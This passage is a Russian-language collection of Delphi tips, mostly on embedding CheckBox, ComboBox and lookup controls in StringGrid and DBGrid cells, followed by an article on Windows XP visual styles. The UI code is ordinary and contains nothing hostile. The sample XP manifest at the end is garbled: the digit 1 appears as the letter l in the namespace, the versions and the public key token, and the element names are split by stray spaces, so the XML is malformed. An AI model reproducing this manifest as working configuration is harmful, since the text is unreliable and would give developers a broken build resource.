// Заполняем заголовок StringGrid
procedure TForm1.FormCreate(Sender: TObject);
begin
StringGrid1.Cells[0,0] := 'A Simple';
StringGrid1.Cells[1,0] := 'Way';
StringGrid1.Cells[2,0] := 'To';
StringGrid1.Cells[3,0] := 'Do It';
StringGrid1.Cells[4,0] := 'Check !!';
AddCheckBoxes; // добавляем чекбоксы...
end;

procedure TForm1.AddCheckBoxes;
var
i: Integer;
NewCheckBox: TCheckBox;
begin
clean_previus_buffer; // очищаем неиспользуемые чекбоксы...
for i := 1 to 4 do
begin
StringGrid1.Cells[0,i] := 'a';
StringGrid1.Cells[1,i] := 'b';
StringGrid1.Cells[2,i] := 'c';
StringGrid1.Cells[3,i] := 'd';
NewCheckBox := TCheckBox.Create(Application);
NewCheckBox.Width := 0;
NewCheckBox.Visible := false;
NewCheckBox.Caption := 'OK';
NewCheckBox.Color := clWindow;
NewCheckBox.Tag := i;
NewCheckBox.OnClick := CheckBox1.OnClick; //Связываем предыдущее событие OnClick
                                          // с существующим TCheckBox
NewCheckBox.Parent := Panel1;
StringGrid1.Objects[4,i] := NewCheckBox;
StringGrid1.RowCount := i;
end;
set_checkbox_alignment; // расположение чекбоксов в ячейках таблицы...
end;

Procedure TForm1.clean_previus_buffer;
var
NewCheckBox: TCheckBox;
i: Integer;
begin
for i := 1 to StringGrid1.RowCount do
begin
NewCheckBox := (StringGrid1.Objects[4,i] as TCheckBox);
if NewCheckBox <> nil then
begin
NewCheckBox.Visible := false;
StringGrid1.Objects[4,i] := nil;
end;
end;
end;

Procedure TForm1.set_checkbox_alignment;
var
NewCheckBox: TCheckBox;
Rect: TRect;
i: Integer;
begin
for i := 1 to StringGrid1.RowCount do
begin
NewCheckBox := (StringGrid1.Objects[4,i] as TCheckBox);
if NewCheckBox <> nil then
begin
Rect := StringGrid1.CellRect(4,i); // получаем размер ячейки для чекбокса
NewCheckBox.Left := StringGrid1.Left + Rect.Left+2;
NewCheckBox.Top := StringGrid1.Top + Rect.Top+2;
NewCheckBox.Width := Rect.Right - Rect.Left;
NewCheckBox.Height := Rect.Bottom - Rect.Top;
NewCheckBox.Visible := True;
end;
end;
end;

procedure TForm1.StringGrid1DrawCell(Sender: TObject; ACol, ARow: Integer;
Rect: TRect; State: TGridDrawState);
begin
if not (gdFixed in State) then set_checkbox_alignment;
end;

Взято из http://forum.sources.ru


Как поместить ComboBox в ячейку StringGrid?

Следующий пример демонстрирует всплывающий ComboBox в качестве местного редактора для компонента TStringGrid:

procedure TForm1.FormCreate(Sender: TObject);
begin
 {Высоту у combobox не получится установить, поэтому мы будем}
 {подгонять размер у грида под размер combobox!}
  StringGrid1.DefaultRowHeight := ComboBox1.Height;
 {Скрываем combobox}
  ComboBox1.Visible := False;
end;

procedure TForm1.ComboBox1Change(Sender: TObject);
begin
 {Получаем выбранный элемент из ComboBox и помещаем его в грид}
  StringGrid1.Cells[StringGrid1.Col,
                    StringGrid1.Row] :=
    ComboBox1.Items[ComboBox1.ItemIndex];
  ComboBox1.Visible := False;
  StringGrid1.SetFocus;
end;

procedure TForm1.ComboBox1Exit(Sender: TObject);
begin
 {Получаем выбранный элемент из ComboBox и помещаем его в грид}
  StringGrid1.Cells[StringGrid1.Col,
                    StringGrid1.Row] :=
    ComboBox1.Items[ComboBox1.ItemIndex];
  ComboBox1.Visible := False;
  StringGrid1.SetFocus;
end;

procedure TForm1.StringGrid1SelectCell(Sender: TObject; Col,
 Row: Integer;  var CanSelect: Boolean);
var
  R: TRect;
begin
  if ((Col = 3) AND
      (Row <> 0)) then begin
   {Размер и расположение combobox подгоняем под ячейку}
    R := StringGrid1.CellRect(Col, Row);
    R.Left := R.Left + StringGrid1.Left;
    R.Right := R.Right + StringGrid1.Left;
    R.Top := R.Top + StringGrid1.Top;
    R.Bottom := R.Bottom + StringGrid1.Top;
    ComboBox1.Left := R.Left + 1;
    ComboBox1.Top := R.Top + 1;
    ComboBox1.Width := (R.Right + 1) - R.Left;
    ComboBox1.Height := (R.Bottom + 1) - R.Top;
   {Показываем combobox}
    ComboBox1.Visible := True;
    ComboBox1.SetFocus;
  end;
  CanSelect := True;
end;

Взято из http://forum.sources.ru


Помещение компонентов в StringGrid

Автор: Neil Rubenking

Некоторое время тому назад такой вопрос уже ставился: возможно ли поместить элемент управления, например, CheckBox или ComboBox внутрь компонента ...Grid. Я сегодня помозговал и нашел неплохую, на мой взгляд, технологию. Это работает! Вот решение для тех, кто этим интересуется:

При создании компонента (в обработчике OnCreate), создайте его объекты Objects[C,R], например TCheckBox.Create(Self). Имейте в виду, что вы должны присвоить ячейкам Cells[C,R] какие-либо значения прежде, чем чем вы сможете иметь доступ к Objects[C,R]. Установите у вновь созданного компонента свойство Visible в FALSE, а свойство parent в SELF. Осуществите другую необходимую инициализацию. Имейте в виду, что вы должны внести необходимые модули в список uses, если создаете тип компонента, которого нигде кроме как на форме нет.

Создайте процедуру, берущую координаты колонки/строки и правильно позиционирующую соотвествующий объект в пределах прямоугольника ячейки, например:

procedure TForm1.FixObjPosn(vCol, vRow: LongInt);
{Размещаем содержимое компонента в области прямоугольника ячейки}
var
  R: TRect;
begin
  R := StringGrid1.CellRect(vCol, vRow);
  if StringGrid1.Objects[vCol, vRow] is TControl then
    with TControl(StringGrid1.Objects[vCol, vRow]) do
      if R.Right = R.Left then {прямоугольник ячейки невидим}
        Visible := False
      else
      begin
        InflateRect(R, -1, -1);
        OffsetRect(R, StringGrid1.Left + 1, StringGrid1.Top + 1);
        BoundsRect := R;
        Visible := True;
      end;
end;

смещение позиции необходимо, поскольку CellRect расчитывается относительно верхнего левого угла строки сетки, и родителем компонента является форма).

В обработчике события сетки OnSelectCell проверьте, располагается ли элемент Objects в текущей колонке Col и строке Row TControl - если так, установите его свойство visible в FALSE. Теперь вызовите процедуру установления координат из шага 2 для *НОВЫХ* Col и Row, передавая их из параметров обработчика события в параметры функции.

В обработчике OnTopLeftChanged просто вызовите FixObjPosn

В обработчике события OnDrawCell во-первых, если ячейка выбрана, EXIT. Если элемент ячейки Objects не TControl, также EXIT. В противном случае вам нужно создать код, обеспечивающий отрисовку "фасада" каждого типа элемента управления, которого вы разместили в сетке.

Обратите внимание на то, что если вы делаете что-либо с элементом управления, на который влияют ДРУГИЕ элементы управления (например, изменение статуса какой-либо радиокнопки из группы, или операции enable/disable), вы должны вызвать метод сетки Refresh.

Опс! Это звучит немного запутанно, но это работает. Успехов!

Взято с http://delphiworld.narod.ru


Помещение компонентов в DBGrid

Данный совет и сопутствующий код показывает как просто поместить любой компонент в ячейку сетки данных. Компонент в данном контексте может означать любой видимый элемент управления - от простого combobox до сложного диалогового окна. Методы, описанные ниже, применимы практически к любому визуальному компоненту. Если Вы можете поместить его на форму, то, вероятно, сможете поместить и в ячейку DBGrid.

Здесь нет новых идей, фактически основная технология работы заключается в имитации-трансплантации внешних компонентов в DBGrid. Идея в том, чтобы получить контроль над табличной сеткой. Практически DBGrid состоит из набора компонентов TDBEdit. Вводя данные в ячейку, вы работаете непосредственно с TDBEdit. Остальные без фокуса ячейки в данный момент реально являются статичной картинкой. В данном совете Вы узнаете как поместить в сфокусированную ячейку другой, отличный от TDBEdit, визуальный компонент.

КОМПОНЕНТ #1 - TDBLOOKUPCOMBO
Вам нужна форма с компонентом DBGrid на ней. Создайте новый проект и поместите на основную форму DBGrid.

Далее поместите на форму TTable, установите псевдоним (Alias) в DBDEMOS, TableName в GRIDDATA.DB и присвойте свойству Active значение True. Поместите DataSource и сошлитесь в свойстве DataSet на Table1. Вернитесь к DBGrid и укажите в свойстве DataSource компонент DataSource1. Данные из GRIDDATA.DB должные появиться в табличной сетке...

Первый элемент, который мы собираемся поместить в DBGrid - TDBLookupCombo, т.к. нам нужна вторая таблица для поиска. Поместите второй TTable на форму. Установите псевдоним (Alias) в DBDEMOS, TableName в CUSTOMER.DB и присвойте свойству Active значение True. Поместите второй DataSource и сошлитесь в свойстве DataSet на Table2.

Теперь нужно поместить компонент TDBLookupCombo из палитры Data Controls на любое место формы - это не имеет никакого значения, т.к. он обычно будет невидим или будет нами имплантирован в табличную сетку. Установите свойства компонента LookuoCombo следующим образом:

DataSource      DataSource1
DataField       CustNo
LookupSource    DataSource2
LookupField     CustNo
LookupDisplay   CustNo  {Вы можете изменить это на Company позже,
                         но сейчас пусть это будет CustNo)

Пока мы только настроили компоненты. Теперь давайте создадим некоторый код.

Первое, что Вам необходимо - сделать так, чтобы DBLookupCombo, который Вы поместили на форму, во время запуска приложения оставался невидимым. Для этого выберите Form1 в инспекторе объектов, перейдите на закладку Events (события) и дважды щелкните на событии onCreate. Delphi немедленно сгенерит и отобразит скелет кода будущего обработчика события onCreate:

procedure TForm1.FormCreate(Sender: TObject);
begin

end;

Присвойте свойству Visible значение False в LookupCombo следующим образом:

procedure TForm1.FormCreate(Sender: TObject);
begin
  DBLookupCombo1.Visible := False;
end;

Наверняка многим стало интересно, почему я не воспользовался инспектором объектов для изменения свойств компонента. Действительно, можно было бы и так. Лично я таким способом инициализирую компоненты, чьи свойства могут изменяться во время работы приложения. Я изменил статическое свойство, которое не отображается во время проектирования (если воспользоваться инспектором объктов). Я думаю это делает код легче для понимания.

Теперь нам необходимо "прикрутить" компонент к нашей табличной сетке. Наша задача - автоматически отобразить DBLookupCombo в ячейке во время получения ею фокуса (или перемещении курсора). Для этого необходимо написать код для обработчиков двух событий: OnDrawDataCell и OnColExit. Первым делом обработаем событие OnDrawDataCell. Дважды щелкните на строчке OnDrawDataCell в инспекторе объектов и введите следующий код:

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
  Field: TField; State: TGridDrawState);
begin
  if (gdFocused in State) then
  begin
    if (Field.FieldName = DBLookupCombo1.DataField) then
    begin
      DBLookupCombo1.Left := Rect.Left + DBGrid1.Left;
      DBLookupCombo1.Top := Rect.Top + DBGrid1.top;
      DBLookupCombo1.Width := Rect.Right - Rect.Left;
      { DBLookupCombo1.Height := Rect.Bottom - Rect.Top; }
      DBLookupCombo1.Visible := True;
    end;
  end;
end;

Причины чрезмерного использования конструкций begin/end скоро станут понятны. В коде "говорится", что если параметр State имеет значение gdFocused, то данная ячейка имеет фокус (в любой момент времени только одна ячейка в табличной сетке может иметь фокус). Далее: если это выделенная ячейка и ячейка имеет тоже имя поля как и поле данных DBLookupCombo, DBLookupCombo необходимо поместить над этой ячейкой и сделать его видимым. Обратите внимание на определение позиции DBLookupCombo: она определяется относительно формы, а не ячейки. Так, например, положение левой стороны LookupCombo должно учитывать положение сетки (DBGrid1.Left) плюс положение соответствующей ячейки относительно сетки (Rect.Left).

Также обратите внимание на то, что определение высоты LookupCombo в коде закомментарено. Причина в том, что LookupCombo имеет минимальную высоту. Вы просто не сможете сделать ее меньше. Минимальная высота LookupCombo больше высоты ячейки. Если Вы раскомментарили строку, касающуюся высоты LookupCombo, Ваш код изменит размер компонента и Delphi немедленно его перерисует. Это вызовет неприятное моргание компонента. Бороться с этим невозможно. Позвольте, чтобы LookupCombo был немного больше, чем ячейка. Это выглядит немного странным, но это работает.

Теперь ради шутки запустите программу. Заработала? Сразу после запуска переместите курсор на одну из ячеек табличной сетки. Вы ожидали чего-то большего? Да! Мы только в середине пути. Теперь нам нужно спрятать LookupCombo при покидании курсором колонки. Напишем обработчик события onColExit. Это должно выглядеть примерно так:

procedure TForm1.DBGrid1ColExit(Sender: TObject);
begin
  If DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField then
    DBLookupCombo1.Visible := false;
end;

Код использует свойство TDBGrids SelectedField для ассоциации имени поля ячейки (FieldName) с нашим LookupCombo. Код "говорит": "Если ячейка была в колонке с DBLookupCombo (имя поля ячейки совпадает с именем поля DBLookupCombo), его необходимо сделать невидимым".

Теперь снова запустите приложение. Чувствуете эффект?

Теперь вроде бы все правильно, но мы забыли об одной вещи. Попробуйте ввести новое значение в одно из LookupCombo. Проблема в том, что нажатие клавиши обрабатывает DBGrid, а не LookupCombo. Чтобы исправить это, нам нужно написать для табличной сетки обработчик события onKeyPress. Это должно выглядеть примерно так:

procedure TForm1.DBGrid1KeyPress(Sender: TObject; var Key: Char);
begin
  if (key <> chr(9)) then
  begin
    if (DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField) then
    begin
      DBLookupCombo1.SetFocus;
      SendMessage(DBLookupCombo1.Handle, WM_Char, word(Key), 0);
    end;
  end;
end;

В данном коде "говорится": если нажатая клавиша не является клавишей Tab (Chr(9)) и текущее поле в табличной сетке LookupCombo, тогда установите фокус на LookupCombo и передайте сообщение с кодом нажатой клавиши LookupCombo. Здесь я воспользовался WIN API функцией. Вам не нужно знать как это работает, достаточно того, что это просто работает.

Небольшое пояснение я все же дам. Для того, чтобы функция Window SendMessage послала сообщение "куда надо", ей в качестве параметра необходим дескриптор ("адрес") нужного компонента. Используйте свойство компонента Handle. Затем нужно сообщить компоненту что мы от него хотим. В нашем случае это Windows-сообщение WM_CHAR, извещающее LookupCombo о том, что ему посылается символ. Наконец, мы передаем ему сам символ нажатой клавиши - word(Key). Word(key) - приведение к типу word параметра Key события нажатия клавиши. Все достаточно просто, правда? Все, что Вам действительно необходимо сделать - заменить имя DBLookupCombo1 нашего вымышленного компонента на имя реального компонента, который будет участвовать в "модернизации" табличной сетки. Более подробную информацию о функции SendMessage Вы можете почерпнуть из электронной справки, поставляемой вместе с Delphi.

Запустите снова Ваше приложение и попробуйте что-нибудь ввести. Это работает! Экспериментируя, Вы увидите что с помощью клавиши Tab Вы можете перейти из режима редактирования в режим перемещения курсора и наоборот.

Теперь перейдите к инспектору объектов и измнените у компонента DBLookupCombo свойство LookupDIsplay на Company. Снова запустите. Это то, что Вы ожидали?

КОМПОНЕНТ #2 - TDBCOMBO

Здесь я не собираюсь обсуждать технологию имплантации DBCombo, так как она практически не отличается от той, что была показана выше. Все написанное в пункте #1 имеет силу и здесь. Вот пошагово разработанный код для вашего компонента.

procedure TForm1.FormCreate(Sender: TObject);
begin
  DBLookupCombo1.Visible := False;
  DBComboBox1.Visible := False;
end;

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
  Field: TField; State: TGridDrawState);
begin
  if (gdFocused in State) then
  begin
    if (Field.FieldName = DBLookupCombo1.DataField) then
    begin
      DBLookupCombo1.Left := Rect.Left + DBGrid1.Left;
      DBLookupCombo1.Top := Rect.Top + DBGrid1.top;
      DBLookupCombo1.Width := Rect.Right - Rect.Left;
      DBLookupCombo1.Visible := True;
    end
    else if (Field.FieldName = DBComboBox1.DataField) then
    begin
      DBComboBox1.Left := Rect.Left + DBGrid1.Left;
      DBComboBox1.Top := Rect.Top + DBGrid1.top;
      DBComboBox1.Width := Rect.Right - Rect.Left;
      DBComboBox1.Visible := True;
    end
  end;
end;

procedure TForm1.DBGrid1ColExit(Sender: TObject);
begin
  if DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField then
    DBLookupCombo1.Visible := false
  else if DBGrid1.SelectedField.FieldName = DBComboBox1.DataField then
    DBComboBox1.Visible := false;
end;

procedure TForm1.DBGrid1KeyPress(Sender: TObject; var Key: Char);
begin
  if (key <> chr(9)) then
  begin
    if (DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField) then
    begin
      DBLookupCombo1.SetFocus;
      SendMessage(DBLookupCombo1.Handle, WM_Char, word(Key), 0);
    end
    else if (DBGrid1.SelectedField.FieldName = DBComboBox1.DataField) then
    begin
      DBComboBox1.SetFocus;
      SendMessage(DBComboBox1.Handle, WM_Char, word(Key), 0);
    end;
  end;
end;

КОМПОНЕНТ #3 - TDBCHECKBOX
Технология работы с компонентом DBCheckBox более интересна. В этом случае нам необходимо дать понять пользователю о наличие компонента DBCheckBox в ячейках без фокуса. Вы можете вставлять статическое изображение компонента или динамически изменять изображение в зависимости от логического состояния элемента управления. Я выбрал второе. Я создал два BMP-файла - включенный (TRUE.BMP) и выключенный (FALSE.BMP) DBCheckBox. Поместите два компонента TImage на форму, присвойте им имена ImageTrue и ImageFalse и назначьте соответствующие BMP-файлы в свойстве Picture. Да, чуть не забыл: Вам также необходимо поместить на форму два компонента DBCheckbox. Установите набор данных обоих компонентов в DataSource1 и присвойстве свойству Color значение clWindow. Для начала создадим для формы обработчик события onCreate:

procedure TForm1.FormCreate(Sender: TObject);
begin
  DBLookupCombo1.Visible := False;
  DBCheckBox1.Visible := False;
  DBComboBox1.Visible := False;
  ImageTrue.Visible := False;
  ImageFalse.Visible := False;
end;

Теперь нам нужен обработчик события onDrawDataCell чтобы делать что-то с ячейками, не имеющими фокуса. Здесь подойдет следующий код:

procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;
  Field: TField; State: TGridDrawState);
begin
  if (gdFocused in State) then
  begin
    if (Field.FieldName = DBLookupCombo1.DataField) then
    begin
      // ...СМОТРИ ВЫШЕ
    end
    else if (Field.FieldName = DBCheckBox1.DataField) then
    begin
      DBCheckBox1.Left := Rect.Left + DBGrid1.Left + 1;
      DBCheckBox1.Top := Rect.Top + DBGrid1.top + 1;
      DBCheckBox1.Width := Rect.Right - Rect.Left { - 1};
      DBCheckBox1.Height := Rect.Bottom - Rect.Top { - 1};
      DBCheckBox1.Visible := True;
    end
    else if (Field.FieldName = DBComboBox1.DataField) then
    begin
      // ...СМОТРИ ВЫШЕ
    end
  end
  else {в этом месте помещаем статическое изображение компонента}
  begin
    if (Field.FieldName = DBCheckBox1.DataField) then
    begin
      if TableGridDataCheckBox.AsBoolean then
        DBGrid1.Canvas.Draw(Rect.Left, Rect.Top, ImageTrue.Picture.Bitmap)
      else
        DBGrid1.Canvas.Draw(Rect.Left, Rect.Top, ImageFalse.Picture.Bitmap)
    end
  end;
end;

Самое интересное место - последний участок кода. Он выполняется в случае, когда состояние не равно gdFocused и сам CheckBox находится в колонке. В нем осуществляется проверка данных поля: если они равны True, то выводится рисунок TRUE.BMP, в противном случае - FALSE.BMP. Предварительно я создал два изображения, представляющие собой "слепок" двух логических состояния компонента, теперь будет очень трудно обнаружить отсутствие компонента в ячейках с фокусом и без оного. Теперь напишем обработчик события onColExit:

procedure TForm1.DBGrid1ColExit(Sender: TObject);
begin
  If DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField then
    DBLookupCombo1.Visible := false
  else
  If DBGrid1.SelectedField.FieldName = DBCheckBox1.DataField then
    DBCheckBox1.Visible := false
  else
  If DBGrid1.SelectedField.FieldName = DBComboBox1.DataField then
    DBComboBox1.Visible := false;
end;

Организуйте обработку события onKeyPress как показано ниже:

procedure TForm1.DBGrid1KeyPress(Sender: TObject; var Key: Char);
begin
  if (key <> chr(9)) then
  begin
    if (DBGrid1.SelectedField.FieldName = DBLookupCombo1.DataField) then
    begin
      DBLookupCombo1.SetFocus;
      SendMessage(DBLookupCombo1.Handle, WM_Char, word(Key), 0);
    end
    else if (DBGrid1.SelectedField.FieldName = DBCheckBox1.DataField) then
    begin
      DBCheckBox1.SetFocus;
      SendMessage(DBCheckBox1.Handle, WM_Char, word(Key), 0);
    end
    else if (DBGrid1.SelectedField.FieldName = DBComboBox1.DataField) then
    begin
      DBComboBox1.SetFocus;
      SendMessage(DBComboBox1.Handle, WM_Char, word(Key), 0);
    end;
  end;
end;

Наконец, последняя хитрость. Для удобства пользователя заголовку компонента нужно присвоить текущее логическое значение. С самого начала у меня была идея поручить это обработчику события onChange, но проблема в том, что событие может возникнуть неединожды. Итак, я должен снова воспользоваться функцией Windows API и послать компоненту соответствующее значение: "SendMessage(DBCheckBox1.Handle, BM_GetCheck, 0, 0)", которая возвращает 0 в случае если компонент невключен и любое другое число в противном случае.

procedure TForm1.DBCheckBox1Click(Sender: TObject);
begin
  if SendMessage(DBCheckBox1.Handle, BM_GetCheck, 0, 0) = 0 then
    DBCheckBox1.Caption := ' ' + 'Ложь'
  else
    DBCheckBox1.Caption := ' ' + 'Истина'
end;

Это все. Надеюсь, Вы узнали для себя что-то новое. Я пробовал данную технологию с диалоговыми окнами. Делается достаточно просто и великолепно работает. Радует простота реализации. Вам даже не нужно знать как это работает, единственное, что Вам придется - заменить в тексте кода имена вымышленных компонентов на те, которые Вы реально хотите отображать в табличной сетке.

Ревизия

Вышеприведенный код оказался несвободным от недостатков - после первой публикации совета дотошные программисты таки обнаружили две значительные недоработки. Первая проблема - если компонент имеет фокус, то для перемещения на следующую ячейку необходимо двукратное нажатие клавиши Tab. Вторая проблема возникает при добавлении новой записи.

Проблема # 1 - Необходимость двойного нажатия клавиши Tab.

Действительно, компонент, используемый для имплантации существует сам по себе, а не является частью табличной сетки. В случае, когда DBGrid имеет фокус, то для перемещения на следующую ячейку необходимо двукратное нажатие клавиши Tab. Первое нажатие клавиши перемещает фокус из имплантированного компонента на текущую ячейку, находящуюся под этим компонентом, и только второе нажатие клавиши Tab перемещает нас в следующую ячейку. Попробуем это исправить.

Для начала в форме, содержащей табличную сетку, опишем логическую переменную WasInFloater следующим образом:

type

TForm1 = class(TForm)
...
...
private
{ Private declarations }
WasInFloater : Boolean;
...
...
end;

Затем для компонента LookupCombo напишем обработчик события onEnter, где присвоим переменной WasInFloater значение True. Это позволит нам понять где в данный момент находится фокус.

procedure TForm1.DBLookupCombo1Enter(Sender: TObject);
begin
  WasInFloater := True;
end;

И, наконец, создаем хитрый обработчик события onKeyUp, позволяющий исправить досадный недостаток.

procedure TForm1.DBGrid1KeyUp(Sender: TObject; var Key: Word;
  Shift: TShiftState);
begin
  if (Key in [VK_TAB]) and WasInFloater then
  begin
    SendMessage(DBGrid1.Handle, WM_KeyDown, Key, 0);
    WasInFloater := False;
  end;
end;

Данный код реагирует на нажатие клавиши и позволяет в случае, когда фокус передался из имплантированного элемента управления табличной сетеке, вторично эмулировать нажатие клавиши Tab (передается код нажатой клавиши, т.е. Tab). Это работает как для отдельной клавиши Tab, так и для комбинации Shift-Tab.

Проблема #2 - Новая запись исчезает, когда компонент получает фокус.

Вторая проблема - в случае, когда вы нажимаете в навигаторе кнопку "добавить", запись добавляется, но, когда Вы после щелкаете на одном из компонентов, имплантированных в табличную сетку, новая запись таинственным образом исчезает. Причина этого - странный флаг dgCancelOnExit в опциях DBGrid, который имеет значение True по умолчанию. Установите это в False и вышеназванная проблема исчезает.

По-моему, Borland неправильно поступил, назначив такое значение по умолчанию, флаг должен иметь значение False. Я все время сталкиваюсь с данной проблемой, да и не только я, судя по новостным конференциям. Данная опция действует в случае потери компонентом фокуса и отменяет последние результаты редактирования. Во всяком случае во всех моих проектах я первым делом сбрасываю данный флаг.

Взято с http://delphiworld.narod.ru


Как сделать pop-up Combobox по позиции курсора в Memo?

unit CBoxInMemo;

interface

uses
  Windows, Classes, Controls, Graphics, Forms, StdCtrls;

type
  TFrmCboxInMemo = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    Label1: TLabel;
    ComboBox1: TComboBox;
    procedure Button1Click(Sender: TObject);
    procedure ComboBox1Exit(Sender: TObject);
    procedure ComboBox1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FrmCboxInMemo: TFrmCboxInMemo;

implementation

{$R *.DFM}

procedure TFrmCboxInMemo.Button1Click(Sender: TObject);
var
  clientPos: TPoint;
  lineHeight: Integer;
  tmpFont: TFont;
begin
  GetCaretPos(clientPos);
  {Use the following calculation of line height only if you want your combobox
  to appear below the char position you are referencing.}
  tmpFont := Canvas.Font;
  Canvas.Font := Memo1.Font;
  lineHeight := Canvas.TextHeight('Xy');
  Canvas.Font := tmpFont;
  with ComboBox1 do
  begin
    {Adjustment of Top by lineHeight only necessary if combobox is to appear below line.}
    Top := clientPos.Y + Memo1.Top + lineHeight;
    Left := clientPos.X + Memo1.Left;
    Visible := true;
    SetFocus;
  end;
end;

procedure TFrmCboxInMemo.ComboBox1Exit(Sender: TObject);
begin
  ComboBox1.Visible := false;
end;

procedure TFrmCboxInMemo.ComboBox1Click(Sender: TObject);
begin
  ComboBox1.Visible := false;
end;

end.

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Мемо в DBGrid

{
A common problem when working with DBGrid is, that this component can't display TMemo fields,
multiline columns, Graphics...
There are a few good freeware components around to solve this problem.
The best one is definitly "DBGRIDPLUS", which comes with full sources.
However, this component does not allow to edit the text in memo fields.
The delphi fans out there who bought a delphi version that comes with the VCL sources can
fix this problem:
Open dbgrids.pas and make the following changes:
(To have memo editing in your app you must just add the modifyed version of dbgrids.pas to your uses clause)
}

function TCustomDBGrid.GetEditLimit: Integer;
begin
  Result := 0;
  if Assigned(SelectedField) and (SelectedField.DataType in [ftString, ftWideString, ftMemo]) then <-- Add
    Result := SelectedField.Size;
end;

function TCustomDBGrid.GetEditText(ACol, ARow: Longint): string;
begin
  Result := '';
  if FDatalink.Active then
  with Columns[RawToDataColumn(ACol)] do
    if Assigned(Field) then
      Result := Field.AsString; <-- Change this.
  FEditText := Result;
end;

{
Just compare theese edited functions with the original ones, and you will know what to change.
To get multiline cell support (not in memo fields!) for DBGridPlus, send me an email and i can send you the changed DBGridPlus.pas file.
}

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


CheckBox в DBGrid

procedure DrawGridCheckBox(Canvas: TCanvas; Rect: TRect; Checked: boolean);
var
  DrawFlags: Integer;
begin
  Canvas.TextRect(Rect, Rect.Left + 1, Rect.Top + 1, ' ');
  DrawFrameControl(Canvas.Handle, Rect, DFC_BUTTON, DFCS_BUTTONPUSH or DFCS_ADJUSTRECT);
  DrawFlags := DFCS_BUTTONCHECK or DFCS_ADJUSTRECT;// DFCS_BUTTONCHECK
  if Checked then
    DrawFlags := DrawFlags or DFCS_CHECKED;
  DrawFrameControl(Canvas.Handle, Rect, DFC_BUTTON, DrawFlags);
end;

На событие OnDrawColumnCell повесьте вызов процедуры DrawGridCheckBox():

procedure TForm1.DBGrid1DrawColumnCell(Sender: TObject; const Rect: TRect;
  DataCol: Integer; Column: TColumn; State: TGridDrawState);
begin
  if Column.FieldName = 'WEIGHT' then // Модифицируйте под себя
    if Column.Field.AsInteger > 10 then
      DrawGridCheckBox(DBGrid1.Canvas, Rect, true)
    else
      DrawGridCheckBox(DBGrid1.Canvas, Rect, false)
end;

Кроме этого, для скрытия текста в ячейках с CheckBox-ом от отображения значения при вводе с клавиатуры определите реакцию на событие OnColumnEnter:

procedure TfrmMain.DBGrid1ColEnter(Sender: TObject);
begin
  with TDBGrid(Sender) do
    if SelectedField.FieldName = 'Weight' then // Модифицируйте под себя
      Options := Options - [dgEditing]
    else
      Options := Options + [dgEditing]
end;

Взято с http://delphiworld.narod.ru


Стили и темы Windows XP

Cодержание раздела:

Элементы управления Windows XP (статья) New!
Как определить использует ли пользователь стили? New!
Как получить имя текщего стиля и имя цветовой схемы? New!
Как получить сообщение об изменении видео стиля? New!


Элементы управления Windows XP

В Delphi 7 впервые появилась возможность настраивать пользовательский интерфейс приложений для использования в Windows XP. Для этого в состав ресурсов приложения должен включаться манифест Windows XP. Это дополнение призвано обеспечить корректное взаимодействие элементов управления приложения с системной библиотекой ComCtl32.dll версии 6, используемой в Windows XP. Собственно все особенности работы приложений под управлением Windows XP вызваны именно появлением новой версии этой библиотеки. Впрочем, об этом подробно рассказывается ниже.

Пользовательский интерфейс Windows XP New!
Манифест Windows XP New!
Компонент TXPManifest New!
Включение манифеста Windows XP в ресурсы приложения New!
Визуальные стили и темы оформления New!
Визуальные стили в Delphi New!
Theme API New!
Компоненты настройки цветовой палитры New!

См. также статьи в других разделах:
Пример компонента типа XPButton New!


Пользовательский интерфейс Windows XP

При первом знакомств с Windows XP сразу же обращаешь внимание на существенные изменения в оформлении пользовательскою интерфейса этой операционной системы. Все нововведения основаны на использовании нового способа отрисовки элементов управления, который реализован в системной динамической библиотеке ComCtl32.dll версии 6. Эта библиотека входит в состав операционной системы Windows XP.

Примечание

Обратите внимание, что все более ранние операционные системы фирмы Microsoft используют ComCtl32.dll версии 5 с традиционным стилем оформления элементов управления. И, конечно, нельзя заставить Windows 2000 выглядеть как Windows XP простой заменой версии ComCtl32.dll. Операционная система должна уметь использовать новые возможности.

Теперь элементы управления в стиле Windows XP могут иметь собственную цветовую палитру, текстуры, стили заполнения и, самое главное, различные методы отрисовки своих составных частей. Например, элемент управления может рисовать собственное поле ввода данных обычным способом, а рамку—с использованием маски XOR.

Совокупность правил и методов поведения, оформления и отрисовки элементов управления называется визуальным стилем (visual style). Совместно с Windows XP поставляется один готовый стиль.

Если разработчик хочет, чтобы его приложение могло использовать новые возможности Windows XP, он должен включить в состав проекта специальный ресурс — манифест (manifest). Манифест представляет собой документ XML, содержащий необходимую для библиотеки ComCtl32.dll версии 6 информацию.

Такое приложение будет чувствовать себя комфортно в среде Windows XP. Но и при запуске в старых операционных системах оно просто будет использовать стандартный набор возможностей ComCtl32.dll версии 5 и выглядеть, как и любое другое приложение.

Кроме этого, Windows XP также имеет библиотеку ComCtl32.dll версии 5 и именно она используется по умолчанию.


Манифест Windows XP

Итак, начнем с манифеста. Он представляет собой документ в формате XML, содержащий всю информацию, необходимую для взаимодействия приложения и библиотеки ComCtl32.dll версии 6.

Примечание

Следует отметить, что манифесты широко используются во многих продуктах и технологиях, работающих в операционных системах Microsoft. С полной схемой XML манифеста вы можете ознакомиться в документации Microsoft MSDN.

Пример манифеста

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.vl" manifestVersion="l.0">
<assemblyIdentity version="l.0.0.0"
  processorArchitecture="X86"
  name="CompanyName.ProductName.YourApp"
  type="win32"
/>
<description>Your application description here.</description>
<dependency>
<dependentAs s embly>
<assemblyIdentity
  type="win32"
  name="Microsoft.Windows.Common-Controls"
  version="6.0.0.0"
  processorArchitecture="X86"
  publicKeyToken="6595b64144ccfldf"
  language="*"
/>
</dependentAss embly>
</dependency>
</assembly>

